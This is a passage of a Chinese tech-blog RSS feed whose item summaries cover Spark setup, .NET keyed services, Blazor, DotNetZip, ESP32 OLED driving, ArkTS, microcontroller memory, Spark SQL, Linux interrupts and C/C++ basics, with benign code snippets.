个Github地址：https://github.com/movie-web/movie-web.git项目首页: https://movie-web.app movie-web是一个用于轻松观看电影和节目的网页应用。它提供直观美观的用户界面，自动保存进度，并且能够收藏节目或电影。&#xA;基于社区的现代化Salesforce替代方案 创建周期：397 天开发语言：TypeScript协议类型：GNU Affero General Public License v3.0Star数量：6945 个Fork数量：555 次关注人数：6945 人贡献人数：122 人Open Issues数量：217 个Github地址：https://github.com/twentyhq/twenty.git项目首页: https://twenty.com 该项目旨在创建一个现代化的Salesforce替代方案，利用社区的力量。它将允许用户添加、筛选、排序、编辑和跟踪客户。&#xA;高级软件工程师之路手册 创建周期：39 天协议类型：MIT LicenseStar数量：4963 个Fork数量：504 次关注人数：4963 人贡献人数：13 人Open Issues数量：2 个Github地址：https://github.com/jordan-cutler/path-to-senior-engineer-handbook.git 这个开源项目是一个存储库，为那些希望晋升到高级软件工程师级别的人提供资源。&#xA;生物信息学自学免费指南 创建周期：2751 天Star数量：4485 个Fork数量：794 次关注人数：4485 人贡献人数：11 人Open Issues数量：3 个Github地址：https://github.com/ossu/bioinformatics.git 该项目是一个关于自学生物信息学的免费开源指南。它包括有关动机、准备、课程、如何使用指南、先决条件、协作、行为准则、社区、团队和参考资料的信息。&#xA;Jan - 将AI带到您的桌面 创建周期：138 天开发语言：TypeScript协议类型：GNU Affero General Public License v3.</description>
    </item>
    <item>
      <title>Spark大数据分析与实战笔记（第二章 Spark基础-02）</title>
      <link>https://bchobby.github.io/posts/8874820aa22b4dd7044355ee7e20dba6/</link>
      <pubDate>Tue, 02 Jan 2024 08:04:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8874820aa22b4dd7044355ee7e20dba6/</guid>
      <description>文章目录 每日一句正能量章节概要2.2 搭建Spark开发环境2.2.1 环境准备2.2.2 Spark的部署方式2.2.3 Spark集群安装部署一、Spark下载二、Spark安装三、环境变量配置 2.2.4 Spark HA集群部署一、集群部署二、运行测试三、多学一招 每日一句正能量 人生就像赛跑，不在乎你是否第一个到达尽头，而在乎你有没有跑完全程。&#xA;章节概要 Spark于2009年诞生于美国加州大学伯克利分校的AMP实验室，它是一个可应用于大规模数据处理的统一分析引擎。Spark不仅计算速度快，而且内置了丰富的API，使得我们能够更加容易编写程序。&#xA;2.2 搭建Spark开发环境 请参考《Hadoop大数据技术与应用》完成Hadoop集群构建。或者看我之前的博客也行。&#xA;Hadoop集群部署和启动与关闭 搭建Spark环境是开展Spark编程的基础，在深入学习Spark编程之 前，我们需要的先搭建Spark开发环境。&#xA;2.2.1 环境准备 由于Spark仅仅是一种计算框架，不负责数据的存储和管理，因此，通常都会将Spark和Hadoop进行统一部署，由Hadoop中的HDFS、HBase等组件负责数据的存储管理，Spark负责数据计算。&#xA;安装Spark集群前，需要安装Hadoop环境，本教材采用如下配置环境。&#xA;Linux系统：CentOS_6.7版本&#xA;Hadoop：2.7.4版本&#xA;JDK：1.8版本&#xA;Spark：2.3.2版本&#xA;2.2.2 Spark的部署方式 Spark部署模式分为Local模式(本地单机模式)和集群模式，在Local模式下， 常用于本地开发程序与测试，而集群模式又分为Standalone模式(集群单机模式)、 Yarn模式和Mesos模式，关于这三种集群模式的相关介绍具体如下:&#xA;Standalone模式&#xA;Standalone模式被称为集群单机模式在该模式下，Spark集群架构为主从模式，即一台Master节点与多台Slave节点，Slave节点启动的进程名称为Worker。(主节点只有一个，所以存在单点故障问题，要搭建高可用的Spark集群) Mesos模式&#xA;Mesos模式被称为Spark on Mesos模式。Mesos是一款资源调度管理系统，为Spark提供服务，由于Spark与Mesos存在密切的关系，因此在设计Spark框架时充分考虑到对Mesos的集成。但如果你同时运行Hadoop和Spark,从兼容性的角度来看，Spark on Yarn是更好的选择。 Yarn模式&#xA;Yarn模式被称为Spark on Yarn模式，即把Spark作为一个客户端，将作业提交给Yarn服务。由于在生产环境中，很多时候都要与Hadoop使用同一个集群，因此采用Yarn来管理资源调度，可以提高资源利用率。 Yarn模式又分为Yarn Cluster模式和Yarn Client模式，具体介绍如下：&#xA;Yarn Cluster: 用于生产环境，所有的资源调度和计算都在集群上运行。Yarn Client: 用于交互、调试环境。 2.2.3 Spark集群安装部署 本书将在Standalone模式下，进行Spark集群的安装部署。规划的Spark集群包含一台Master节点和两台Slave节点。其中，主机名hadoop01是Master节点，hadoop02和hadoop03是Slave节点。如下图所示：&#xA;一、Spark下载 下载Spark安装包 下载地址&#xA;下载地址可以在百度中直接搜索或者参看我之前的博客。 大数据相关常用软件下载地址集锦 进入后来到Spark的官网，点击【Download】就可以打开下载界面：https://spark.apache.org/downloads.html。&#xA;Spark安装包的下载页面如下图所示：&#xA;可以将页面向下拉，找到【Spark release archives】点击进去找历史版本下载。&#xA;二、Spark安装 解压Spark安装包&#xA;首先将下载的spark-2.3.2-bin-hadoop2.7.tgz安装包上传到主节点hadoop01的/export/software目录下，然后解压到/export/servers/目录，解压命令如下。 $ tar -zxvf spark-2.</description>
    </item>
    <item>
      <title>.NET 8 新特性 Keyed Services 的正确打开方式</title>
      <link>https://bchobby.github.io/posts/492b0e2ec71dfa2d38076d49439a5ba0/</link>
      <pubDate>Tue, 02 Jan 2024 07:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/492b0e2ec71dfa2d38076d49439a5ba0/</guid>
      <description>.NET 8 引入了一项新特性：键控服务（Keyed Services）。它允许我们使用不同的名称注册同一接口的多个实现，并在运行时根据名称选择合适的实现。&#xA;官方示例 官方文档给出了一个使用键控服务的示例代码：&#xA;builder.Services.AddKeyedSingleton&amp;lt;ICache, BigCache&amp;gt;(&#34;big&#34;); builder.Services.AddKeyedSingleton&amp;lt;ICache, SmallCache&amp;gt;(&#34;small&#34;); app.MapGet(&#34;/big&#34;, ([FromKeyedServices(&#34;big&#34;)] ICache bigCache) =&amp;gt; bigCache.Get(&#34;date&#34;)); app.MapGet(&#34;/small&#34;, ([FromKeyedServices(&#34;small&#34;)] ICache smallCache) =&amp;gt; smallCache.Get(&#34;date&#34;)); 上面的代码使用[FromKeyedServices]属性，按照名称来访问已注册的服务，比如在big接口使用BigCache提供的能力。&#xA;代码异味 然而，我认为这种用法并不是很合理：既然在设计阶段，我们就已经明确了需要使用哪个接口的实现，那么为什么还要依赖注入一个通用的接口呢？&#xA;在这种情况下，我建议直接定义两个继承自ICache的特定接口，IBigCache和ISmallCache，并且在代码中使用这些继承的接口。&#xA;这样可以更清楚地表达程序的意图，而在通用的地方我们仍然可以使用ICache：&#xA;builder.Services.AddSingleton&amp;lt;ICache, BigCache&amp;gt;(); builder.Services.AddSingleton&amp;lt;IBigCache, BigCache&amp;gt;(); builder.Services.AddSingleton&amp;lt;ISmallCache, SmallCache&amp;gt;(); app.MapGet(&#34;/common&#34;, (ICache cache) =&amp;gt; cache.Get(&#34;date&#34;)); app.MapGet(&#34;/big&#34;, (IBigCache bigCache) =&amp;gt; bigCache.Get(&#34;date&#34;)); app.MapGet(&#34;/small&#34;, (ISmallCache smallCache) =&amp;gt; smallCache.Get(&#34;date&#34;)); 那么，键控服务毫无用武之地吗？&#xA;不！&#xA;键控服务的优势在于，它可以让我们在运行时动态地选择合适的服务，而不是在编译时就固定好。&#xA;这样，我们可以根据不同的场景或条件，使用不同的服务实现。&#xA;策略模式 策略模式是一种行为型设计模式，它定义了一系列算法，并将它们封装成一个个独立的类。然后，根据不同的情况，选择合适的算法来执行。&#xA;例如，假设我们在开发一个电商网站，需要实现将订单信息发送给客户的功能。而具体发送方式是由客户决定的，存储在用户表的SendType字段(Email 和 Sms)。&#xA;如果不使用键控服务，我们可能会写出这样的代码：&#xA;# 依赖注入 builder.Services.AddTransient&amp;lt;IEmailSender, EmailSender&amp;gt;(); builder.Services.AddTransient&amp;lt;ISmsSender, SmsSender&amp;gt;(); # 使用 if(user.SendType==&#34;Email&#34;) { emailSender.Send(user, order); } else if(user.</description>
    </item>
    <item>
      <title>Blazor学习之旅 (13) Razor类库的使用</title>
      <link>https://bchobby.github.io/posts/121dda2b812bc341ee9d0e7191a6f034/</link>
      <pubDate>Tue, 02 Jan 2024 07:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/121dda2b812bc341ee9d0e7191a6f034/</guid>
      <description>【Blazor】| 总结/Edison Zhou&#xA;大家好，我是Edison。&#xA;今天是2023年的最后一天，让我以这篇推文作为2023年的结束吧！&#xA;在上一篇我们学习了Blazor和JavaScript的互操作性，这一篇我们了解下如何创建和使用Razor类库。&#xA;什么是Razor类库？&#xA;我们都知道，在.NET应用程序中，我们可以通过NuGet来安装各种基础功能的类库来帮我们实现底层的基础功能从而不需要重复造轮子。&#xA;在Web前端应用中，同样也涉及一些基础的功能我们希望在各个Blazor应用中复用，而不是在每个Blazor应用中都重复地写一遍。在Blazor应用中，可以通过Razor类库在多个应用程序之间共享和复用这些基础组件。&#xA;Razor类库也是一种.NET项目类型，它包含 Razor 组件、页面、HTML、级联样式表 (CSS) 文件、JavaScript、图像和其他可由 Blazor 应用程序引用的静态 Web 内容。与其他 .NET 类库项目一样，Razor 类库可以捆绑为 NuGet 包并在 NuGet 包存储库（如 NuGet.org）上共享。&#xA;方式一：引用Razor类库&#xA;dotnet add reference ../MyRazorClassLibrary 方式二：打包Razor类库&#xA;dotnet add package MyRazorClassLibrary 接下来，我们就来看看如何创建一个Razor类库，又如何在Blazor应用中使用它。假设，我们需要封装一个ModalDialog（模态对话框）的Razor类库，这样我们在不同的Blazor应用中只需要引用该类库或通过NuGet安装它，就可以复用ModalDialog功能实现，而不需要单独实现一遍它。&#xA;创建一个Razor类库项目&#xA;添加一个Razor类库项目，假设我们取名为：EDT.BlazorComponent.Dialog。&#xA;将默认的Component1.razor文件重命名为ModalDialog.razor，首先将下面的Razor内容添加到ModalDialog.razor中：&#xA;@if (Show) { &amp;lt;div class=&#34;dialog-container&#34;&amp;gt; &amp;lt;div class=&#34;dialog&#34;&amp;gt; &amp;lt;div class=&#34;dialog-title&#34;&amp;gt; &amp;lt;h2&amp;gt;@Title&amp;lt;/h2&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;dialog-body&#34;&amp;gt; @ChildContent &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;dialog-buttons&#34;&amp;gt; &amp;lt;button class=&#34;btn btn-secondary mr-auto btn-cancel&#34; @onclick=&#34;CloseModalDialog&#34;&amp;gt;@CancelText&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;btn btn-success ml-auto&#34; @onclick=&#34;OnConfirm&#34;&amp;gt;@ConfirmText&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; } @code { [Parameter] public string Title { get; set; } [Parameter] public string CancelText { get; set; } = &#34;</description>
    </item>
    <item>
      <title>DotNetZip：.NET中的强大ZIP文件处理库</title>
      <link>https://bchobby.github.io/posts/db6dc0c241a44457ff3b37f9f760dbb8/</link>
      <pubDate>Tue, 02 Jan 2024 07:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db6dc0c241a44457ff3b37f9f760dbb8/</guid>
      <description>推荐一个Zip格式开源.Net库。&#xA;01&#xA;项目简介&#xA;DotNetZip是一个开源的.Net库，用于处理ZIP文件格式。该类库提供了丰富的ZIP文件操作功能，包括读取、写入、修改、加密等。是一个强大且灵活的库，使用非常方便。&#xA;02&#xA;项目特色&#xA;1、简单易用：可以方便地创建、读取和更新zip文件；&#xA;2、支持多语言：支持C#、VB.NET和其他.Net编程语言；&#xA;3、跨平台：支持.NET Framework、.NET Core；&#xA;4、多应用：支持控制台、Winforms、WPF、ASP.NET、Sharepoint、Web 服务应用程序等；&#xA;5、功能丰富：支持zip密码、Unicode、ZIP64、流输入和输出、AES加密、多个压缩级别、自解压缩存档以及跨区存档等；&#xA;6、无第三方依赖；&#xA;7、流：支持压缩到流、从流解压缩。&#xA;03&#xA;使用示例&#xA;1、压缩&#xA;using (ZipFile zip = new ZipFile()) { // 添加图片文件至目录images zip.AddFile(&#34;c:\\images\\1.png&#34;, &#34;images&#34;); // 添加pdf文件至目录files zip.AddFile(&#34;c:\\Reports\\Report.pdf&#34;, &#34;files&#34;); zip.AddFile(&#34;ReadMe.txt&#34;); zip.Save(&#34;test.zip&#34;); } 2、解压&#xA;string zipFilePath = @&#34;C:\zipfile.zip&#34;; string extractPath = @&#34;C:\extractpath&#34;; using (ZipFile zip = ZipFile.Read(zipFilePath)) { // 设置解压的目标文件夹 zip.ExtractAll(extractPath, ExtractExistingFileAction.OverwriteSilently); } 04&#xA;使用示例&#xA;https://github.com/DinoChiesa/DotNetZip&#xA;觉得好看 点个在看👇</description>
    </item>
    <item>
      <title>使用.Net nanoFramework 驱动ESP32的OLED显示屏</title>
      <link>https://bchobby.github.io/posts/5d863f197b465615087f97924ff9553b/</link>
      <pubDate>Tue, 02 Jan 2024 07:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d863f197b465615087f97924ff9553b/</guid>
      <description>本文介绍如何使用.Net nanoFramework 驱动ESP32的OLED显示屏。我们将会从最基础的部分开始，逐步深入，让你能够理解并实现整个过程。无论你是初学者还是有一定经验的开发者，这篇文章都会对你有所帮助。&#xA;1. 硬件准备 1.1 ESP32开发板 这里我们选用的 ESP32 开发板是微雪的 ESP32-S3-Zero ，体积非常小巧，但是功能非常强大，这款开发板采用了 ESP32-FH4R2 系统级芯片(SoC)，这是一款集成了低功耗 Wi-Fi 和 BLE5.0 的芯片，具有 4MB 的 Flash 和 2MB 的 PSRAM。它还配备了硬件加密加速器、随机数生成器(RNG)、HMAC 和数字签名模块，以满足物联网的安全要求。&#xA;虽然开发板小巧，但是其引脚提供的却是着实不少，下图是 ESP32-S3-Zero 的引脚图：&#xA;ESP32-S3-Zero 引脚图 1.2 OLED显示屏 这里我们选用的 OLED 显示屏还是我之前的 0.96寸 黄蓝双色OLED模块，这款显示屏采用了 SSD1306 驱动芯片，支持 I2C 通信，分辨率为 128x64，非常适合用来做小型的显示屏。其一共4个引脚接口：3.3V正极VCC，负极GND，SCL时钟线，SDA数据线。&#xA;0.96寸 黄蓝双色OLED模块 这款显示屏可以说是一代人的回忆，当年的MP3等小型电子设备都是采用的这款显示屏，虽然现在已经被淘汰了，但是它的显示效果还是非常不错的，依然在硬件开发和学习领域有着广泛的应用，而且价格也非常便宜，只需要 10 元左右就可以买到。&#xA;2. 硬件连接 硬件的连接非常简单，首先是供电：只需要将 OLED 的 VCC 接到 ESP32 的 3.3V 引脚，GND 接到 ESP32 的 GND 引脚。然后将 SCL 和 SDA 接到 ESP32 支持 I2C 通信的引脚即可，这里我们选择的是 GP1 和 GP2。</description>
    </item>
    <item>
      <title>鸿蒙ArkTS语言难学吗？零基础必看！</title>
      <link>https://bchobby.github.io/posts/67cbdd105d1ca95c6c188f6e58008ea4/</link>
      <pubDate>Tue, 02 Jan 2024 07:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67cbdd105d1ca95c6c188f6e58008ea4/</guid>
      <description>随着华为鸿蒙操作系统的不断发展和普及，越来越多的人开始关注鸿蒙开发，想要掌握相关技能。但是，很多人对此一无所知，不知道该从何学起。本文将为大家介绍零基础必看！鸿蒙开发需要学什么语言的相关内容，帮助大家更好地入门鸿蒙开发。&#xA;ArkTS ArkTS是HarmonyOS优选的主力应用开发语言。ArkTS围绕应用开发在TypeScript(简称TS)生态基础上做了进一步扩展，继承了TS的所有特性，是TS的超集。因此，在学习ArkTS语言之前，建议开发者具备TS语言开发能力。&#xA;基本语法概述 学习ArkTS不知道从哪里下手了是不是呀？不要紧，咱们来把它分解开来&#xA;就可以把他们拆成这几个部分了，如果看不懂可以暂时忽略下面冒号后面的内容&#xA;**装饰器：**用于装饰类、结构、方法以及变量，并赋予其特殊的含义。如上述示例中@Entry、@Component和@State都是装饰器，@Component表示自定义组件，@Entry表示该自定义组件为入口组件，@State表示组件中的状态变量，状态变量变化会触发UI刷新。**UI描述：**以声明式的方式来描述UI的结构，例如build()方法中的代码块。**自定义组件：**可复用的UI单元，可组合其他组件，如上述被@Component装饰的struct Hello。**系统组件：**ArkUI框架中默认内置的基础和容器组件，可直接被开发者调用，比如示例中的Column、Text、Divider、Button。**属性方法：**组件可以通过链式调用配置多项属性，如fontSize()、width()、height()、backgroundColor()等。**事件方法：**组件可以通过链式调用设置多个事件的响应逻辑，如跟随在Button后面的onClick()。 解释这些东西一大堆，对新手来说，理解有那么一点不容易，只要记住这个大概的格式，就像这个样子&#xA;@Entry @Component struct Index { //放你写的数据 build() { //放你写的页面代码 } }1.2.3.4.5.6.7.8.9.10. 你所需要写的东西就可以直接往里面填了&#xA;这样看鸿蒙ArkTS语言难学，不难学的。&#xA;最后 如果你现在像快速上手鸿蒙，这里推荐一份《鸿蒙（HarmonyOS）开发学习指南》&#xA;希望对各位有所帮助，完整文档可以扫码免费领取！！！&#xA;《鸿蒙（HarmonyOS）开发学习指南》 第一章 快速入门&#xA;1、开发准备&#xA;2、构建第一个ArkTS应用（Stage模型）&#xA;3、构建第一个ArkTS应用（FA模型）&#xA;4、构建第一个JS应用（FA模型）&#xA;5、…&#xA;第二章 开发基础知识&#xA;1、应用程序包基础知识&#xA;2、应用配置文件（Stage模型）&#xA;3、应用配置文件概述（FA模型）&#xA;4、…&#xA;第三章 资源分类与访问&#xA;1、 资源分类与访问&#xA;2、 创建资源目录和资源文件&#xA;3、 资源访问&#xA;4、…&#xA;第四章 学习ArkTs语言&#xA;1、初识ArkTS语言&#xA;2、基本语法&#xA;3、状态管理&#xA;4、其他状态管理&#xA;5、渲染控制&#xA;6、…&#xA;第五章 UI开发&#xA;1.方舟开发框架（ArkUI）概述&#xA;2.基于ArkTS声明式开发范式&#xA;3.兼容JS的类Web开发范式&#xA;4…&#xA;第六章 Web开发&#xA;1.Web组件概述&#xA;2.使用Web组件加载页面&#xA;3.设置基本属性和事件&#xA;4.在应用中使用前端页面JavaScript&#xA;5.ArkTS语言基础类库概述</description>
    </item>
    <item>
      <title>阿里云和腾讯云服务器系统盘40G或50G空间够用吗？</title>
      <link>https://bchobby.github.io/posts/a33767e78e1158fa5a11ef2c9c73691f/</link>
      <pubDate>Tue, 02 Jan 2024 07:42:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a33767e78e1158fa5a11ef2c9c73691f/</guid>
      <description>云服务器系统盘40G或50G空间够用吗？够用，操作系统一般占用几个GB的存储空间，尤其是Linux操作系统占用空间容量更小，阿里云和腾讯云服务器系统盘默认提供的40GB高效云盘或50G通用型SSD云硬盘，阿腾云atengyun.com分享是否够用及解决方法。&#xA;另外如果系统盘不够的话，阿里云和腾讯云均支持在线扩容系统盘，如果需要大容量的存储，也可以通过挂载数据盘来实现。&#xA;1、扩容云硬盘 https://curl.qcloud.com/gJclDIKt&#xA;2、挂载云硬盘 https://curl.qcloud.com/c2wWrM9j</description>
    </item>
    <item>
      <title>单片机的存储、堆栈与程序执行方式</title>
      <link>https://bchobby.github.io/posts/d6a641839b6100dbe4ebccec30e900b2/</link>
      <pubDate>Tue, 02 Jan 2024 07:32:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6a641839b6100dbe4ebccec30e900b2/</guid>
      <description>一、单片机存储区域 如图所示位STM32F103ZET6的参数：&#xA;单片机的ROM（内部FLASH）：512KB，用来存放程序代码的空间。&#xA;单片机的RAM：64KB，一般都被分配为堆、栈、变量等的空间。&#xA;二、堆和栈的概念 单片机中的堆和栈是用来存储程序运行时的数据的两个重要区域。堆和栈都存在于单片机的RAM（随机存储器）中。&#xA;堆是用来存储动态分配的内存空间的区域。在单片机中，堆的大小取决于程序的需求，但是总大小不能超过单片机硬件的实际RAM大小。堆的分配和释放是由程序员手动控制的，通常使用malloc()和free()等函数来进行操作。&#xA;栈是用来存储函数调用和局部变量的区域。每当一个函数被调用时，函数的参数、返回地址和局部变量等信息都会被压入栈中。当函数执行完毕后，这些信息会被弹出栈。栈的大小是由编译器在编译时确定的，通常是根据函数的嵌套深度和局部变量的大小来决定的。&#xA;堆和栈都是用来存储程序运行时的数据的区域，但是它们的分配和使用方式有所不同。&#xA;三、堆和栈的位置与分配方式 堆栈位置 栈：向低地址扩展，从上往下扩展；&#xA;堆：向高地址扩展，从下网上扩展；&#xA;设置堆栈的空间大小时要根据程序需求合理调整，如果堆或栈的空间分配不足，导致堆栈溢出，程序跑飞。&#xA;合理分配堆栈 可以通过编译后生成的后缀为.htm的文件查看所需的栈的大小：&#xA;如图所示为某程序的.htm文件的内容：&#xA;最大的栈空间=800bytes+未知&#xA;未知的空间去800的20%就足够了。&#xA;那么栈空间的大小可以设置为800+160=960byte&#xA;堆的分配和释放是由程序员手动控制的，通常使用malloc()和free()等函数来进行操作。栈空间的大小根据我们在程序中分配的最大的堆的大小来决定。当然，最好也预留一些预留，如果在程序中分配了100byte，那么，可以设置堆大小为110bytes。&#xA;四、案例分析 打开KEIL工程中的Map File文件后，在文件内容最下方可以看到如下统计。&#xA;图中，各代号含义如下，&#xA;Code：代码存储区。这部分是存放代码的。&#xA;RO-Data：只读数据区。这部分保存程序中用 const 定义的全局常量数据和字符串。&#xA;RW-Data：已初始化的读写数据。程序中定义的已经初始化的全局变量和静态变量。&#xA;ZI-Data：未初始化的读写数据。程序中定义的未初始化的全局变量和静态变量。这部分内容是在程序运行的时候保存在RAM中的。&#xA;五、STM32堆栈设置 六、PC指针与SR指针 SP（Stack Pointer，堆栈指针寄存器）&#xA;堆栈是一个用于存储临时数据和函数调用信息的数据结构。SP 指向堆栈的当前顶部，当数据被推入或弹出堆栈时，SP 会相应地递减或递增。&#xA;PC（Program Counter，程序计数器）&#xA;概念：程序计数器通常有32位或64位，能表示232或264个内存地址，程序计数器某一时刻只能存储一个地址，该地址指向下一条将要执行的指令。&#xA;功能：是控制指令执行流程的关键，确保指令按照正确的顺序执行。&#xA;单片机程序执行过程：&#xA;1、首先开辟堆栈：初始化堆栈指针 SP&#xA;2、初始化程序计数器指针：初始化 PC 指针&#xA;3、从FLASH启动，执行程序：</description>
    </item>
    <item>
      <title>Spark SQL中的聚合与窗口函数</title>
      <link>https://bchobby.github.io/posts/4e5c9858281285bce0a06092df23cd3e/</link>
      <pubDate>Tue, 02 Jan 2024 06:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e5c9858281285bce0a06092df23cd3e/</guid>
      <description>Spark SQL是Apache Spark的一个模块，用于处理结构化数据。在数据分析和处理中，聚合和窗口函数是非常重要的工具，它们可以对数据进行各种汇总、计算和分析。本文将深入探讨Spark SQL中的聚合与窗口函数，包括聚合函数、分组操作、窗口函数以及实际用例。&#xA;聚合函数 聚合函数是对数据集进行汇总和计算的函数，它们通常与GROUP BY子句一起使用。Spark SQL支持各种内置聚合函数，包括SUM、AVG、MAX、MIN、COUNT等。&#xA;1 示例：计算平均工资 假设有一个包含员工信息的表，其中包括员工的姓名、部门和工资。可以使用聚合函数来计算每个部门的平均工资。&#xA;SELECT department, AVG(salary) AS avg_salary FROM employees GROUP BY department 2 示例：计算总销售额 如果有一个包含销售订单的表，其中包括订单号、销售日期和销售额。可以使用聚合函数来计算每月的总销售额。&#xA;SELECT YEAR(sale_date) AS year, MONTH(sale_date) AS month, SUM(sale_amount) AS total_sales FROM sales GROUP BY YEAR(sale_date), MONTH(sale_date) ORDER BY year, month 分组操作 分组操作是将数据按照一个或多个列的值进行分组的过程。在分组操作中，通常会使用聚合函数来计算每个分组的汇总值。Spark SQL中的GROUP BY子句用于执行分组操作。&#xA;1 示例：按部门分组 继续上面的员工信息表示例，可以按部门分组并计算每个部门的员工数量。&#xA;SELECT department, COUNT(*) AS num_employees FROM employees GROUP BY department 2 示例：按日期分组 在销售订单表示例中，可以按销售日期分组，并计算每天的总销售额。&#xA;SELECT sale_date, SUM(sale_amount) AS total_sales FROM sales GROUP BY sale_date ORDER BY sale_date 窗口函数 窗口函数是一种在查询结果集的子集上进行计算的函数，而不是整个结果集。它们通常用于执行与当前行相关的计算，例如计算排名、移动平均值等。在Spark SQL中，可以使用窗口函数来执行这些高级分析操作。</description>
    </item>
    <item>
      <title>RK3568平台（中断篇） 中断的基本概念</title>
      <link>https://bchobby.github.io/posts/a8ad3cfd0c7a4bb81cc124c1ed124e1f/</link>
      <pubDate>Tue, 02 Jan 2024 01:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8ad3cfd0c7a4bb81cc124c1ed124e1f/</guid>
      <description>一.中断的基本概念 中断是操作系统中至关重要的机制，它能够显著提高系统的响应性能和并发处理能力。&#xA;中断是指在 CPU 正常运行期间，由外部或内部事件引起的一种机制。当中断发生时，CPU会停止当前正在执行的程序，并转而执行触发该中断的中断处理程序。处理完中断处理程序后，CPU 会返回到中断发生的地方，继续执行被中断的程序。中断机制允许CPU在实时响应外部或内部事件的同时，保持对其他任务的处理能力。&#xA;二.中断的上下半部 中断的执行需要快速响应，但并不是所有中断都能迅速完成。&#xA;而为了让系统可以更好地处理中断事件，提高实时性和响应能力，将中断服务程序划分为上下文两部分： 中断上文是中断服务程序的第一部分，它主要处理一些紧急且需要快速响应的任务。中断上文的特点是执行时间较短，旨在尽快完成对中断的处理。这些任务可能包括保存寄存器状态、更新计数器等，以便在中断处理完成后能够正确地返回到中断前的执行位置。中断下文是中断服务程序的第二部分，它主要处理一些相对耗时的任务。由于中断上文需要尽快完成，因此中断下文负责处理那些不能立即完成的、需要更多时间的任务。这些任务可能包括复杂的计算、访问外部设备或进行长时间的数据处理等。&#xA;三.中断子系统框架 四.中断控制器 GIC 中断控制器 GIC（Generic Interrupt Controller）是中断子系统框架硬件层中的一个关键组件，用于管理和控制中断。它接收来自各种中断源的中断请求，并根据预先配置的中断优先级、屏蔽和路由规则，将中断请求分发给适当的处理器核心或中断服务例程。&#xA;对于驱动工程师而言，我们和 CPU 视角是一样的，我们只希望得到一个 IRQ number，而不关系具体是那个GIC中断控制器上的那个 HW interrupt ID。这样一个好处是在中断相关的硬件发生变化的时候，驱动软件不需要修改。因此，linux kernel 中的中断子系统需要提供一个将HWinterrupt ID映射到IRQ number 上来的机制，也就是 irq domain。</description>
    </item>
    <item>
      <title>滚动点阵屏</title>
      <link>https://bchobby.github.io/posts/cef50455ecc7f547c5afa3d7ce311f9b/</link>
      <pubDate>Tue, 02 Jan 2024 01:07:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cef50455ecc7f547c5afa3d7ce311f9b/</guid>
      <description>原理就是加了一个shift函数&#xA;void Int_MatrixLED_ShiftPic(u8 line) { u8 i; // 如果想移动，就需要让buffer中高位等于其减一的值 for (i = 7; i &amp;gt; 0; i--) { s_led_buff[i] = s_led_buff[i - 1]; } s_led_buff[0] = line; } 其中的s_led_buff是一个缓存。&#xA;有了这个函数，连一开始的第一个字节都是滚进去的，就是显示不完全的状态。</description>
    </item>
    <item>
      <title>【C&#43;&#43;】STL 容器 - map 关联容器 ③ ( map 容器常用 api 操作 | map 容器迭代器遍历 | map#insert 函数返回值处理 )</title>
      <link>https://bchobby.github.io/posts/00acdf5cd93c92517c04d2cb6aff1182/</link>
      <pubDate>Tue, 02 Jan 2024 01:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00acdf5cd93c92517c04d2cb6aff1182/</guid>
      <description>文章目录 一、map 容器迭代器遍历1、map 容器迭代器2、代码示例 二、map 容器插入结果处理1、map#insert 函数返回值处理2、代码示例 一、map 容器迭代器遍历 1、map 容器迭代器 C++ 语言中 标准模板库 ( STL ) 的 std::map 容器 提供了 begin() 成员函数 和 end() 成员函数 , 这两个函数 都返回一个迭代器 , 指向容器中的元素 ;&#xA;std::map#begin() 成员函数 : 该函数返回指向容器中第一个元素的迭代器 ; 对于std::map 容器来说 , 该元素是按键排序后的第一个键值对 ; 如果 map 容器为空 , 则返回的迭代器就是 末尾迭代器 ;std::map#end() 成员函数 : 该函数返回指向容器末尾位置的迭代器 , 末尾位置实际上并不包含任何元素 , 而是作为遍历结束的标志 ; 如果通过 end() 末尾迭代器来访问元素直接崩溃退出 ; 迭代器指向的 map 容器元素说明 : std::map 容器是一个关联容器 , 它存储的元素按键值自动排序 ; 每个元素是一个键值对 对组对象 , 即 std::pair&amp;lt;const Key, T&amp;gt; 类型对象 , 其中 Key 是键类型，T 是值类型 ;</description>
    </item>
    <item>
      <title>三、C语言中的分支与循环—goto语句 (10) (完)</title>
      <link>https://bchobby.github.io/posts/8b96be8494d81e17a785b7a0b7d7bcd9/</link>
      <pubDate>Tue, 02 Jan 2024 00:31:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b96be8494d81e17a785b7a0b7d7bcd9/</guid>
      <description>在C语言中，goto语句允许程序无条件地跳转到同一函数内的标记位置。这个标记位置通过一个标签和冒号(:)来标示。goto语句可以用于从深层嵌套的循环或条件语句中直接跳出，或者跳过某些代码执行。尽管goto语句在某些情况下可以使程序逻辑变得清晰，但过度使用会使程序难以理解和维护，因此在现代编程实践中，通常建议尽量避免使用goto。&#xA;1.基本语法 这里的label是用户定义的标签名，它后面跟着一个冒号（:）。goto label;告诉程序跳转到带有此标签的位置执行代码。&#xA;goto label; ... label: statement; 2.用法示例 1） 从多层嵌套循环中跳出 在这个例子中，当i和j都达到5时，程序会使用goto语句跳到end标签，从而跳出所有循环。&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int i = 0, j = 0; for (i = 0; i &amp;lt; 10; i++) { for (j = 0; j &amp;lt; 10; j++) { if (i == 5 &amp;amp;&amp;amp; j == 5) { goto end; } // 其他循环代码 } } end: printf(&#34;Jumped to end with i=%d and j=%d\n&#34;, i, j); return 0; } 2)错误处理 在进行错误检查时，如果在函数的多个地方检测到错误，可以用goto跳到函数末尾的错误处理代码。</description>
    </item>
    <item>
      <title>【PHP】PHP实现RSA加密，解密，加签，验签</title>
